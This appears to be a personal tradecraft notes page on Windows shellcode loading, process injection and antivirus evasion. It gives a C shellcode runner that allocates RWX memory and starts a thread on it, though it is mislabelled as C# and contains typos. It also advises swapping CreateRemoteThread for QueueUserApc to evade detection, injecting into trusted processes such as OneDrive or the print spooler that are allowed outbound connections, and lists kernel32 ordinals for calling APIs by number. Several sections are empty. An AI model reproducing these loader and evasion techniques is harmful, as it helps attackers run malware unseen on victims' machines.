Win32 API

Use QueueUserApc instead of CreateRemoteThread

try avoid:

  • CreateRemoteThread

  • SetThreadContect

  • RtlCreateUserThread

VirtualAlloc:

C#:

#include <windows.h>
#include <stdio.h>
#include <string.h>
int main()
{
    LPVOID lpvAddr;
    HANDLE hHand;
    DWORD dwWaitResult;
    DWORD threadID;
unsigned char buff[] = "BUFFER_SHELLCODE";

lpvAddr = VirtualAlloc(Null, strlen(buff),0x3000,0x40);
RtlMoveMemory(lpvAddr, buff, strlen(buff));
hHand = CreateThread(NULL, 0, lpvaddr, NULL, 0, &ThreadID);
dwWaitResult = WaitForSingleObject(hHand, INFINITE);
return 0
}

Python:

RWX:

RX:

  • ctypes = WinAPI interaction

  • VirtualAlloc = memory allocation

  • VirtualProtect =

HeapCreate/ HeapAlloc:

could work for AV evasion, but has to run as RWX

Python:

ProcessInjection/ VirtualAllocEx:

expects a handle to a process - great for shellcode injecting into process, imports as follows:

try run against something in userland i.e:

  • JuSched

  • PrintSpoolService

  • OneDrive/Dropbox

  • Service that is allowed for outbound connection

Python:

QUserAPC? - Execute code that you inject into remote process - way more used that CreateRemotethread

Ordinal Values:

API Call
Windows 7
Windows 10
Windows 11

Kernel32.dll (system32)

Kernel32.dll (system32)

Kernel32.dll (system32)

VirtualAlloc

1279

1520

VirtualAllocEx

1521

CreateThread

182

263

CreateRemoteThread

251

RtlMoveMemory

1059

1269

WaitForSingleObject

1295

1537

WaitForSingleObjectEx

1538

VirtualLock

1284

1525

QueueUserApc

1145

Last updated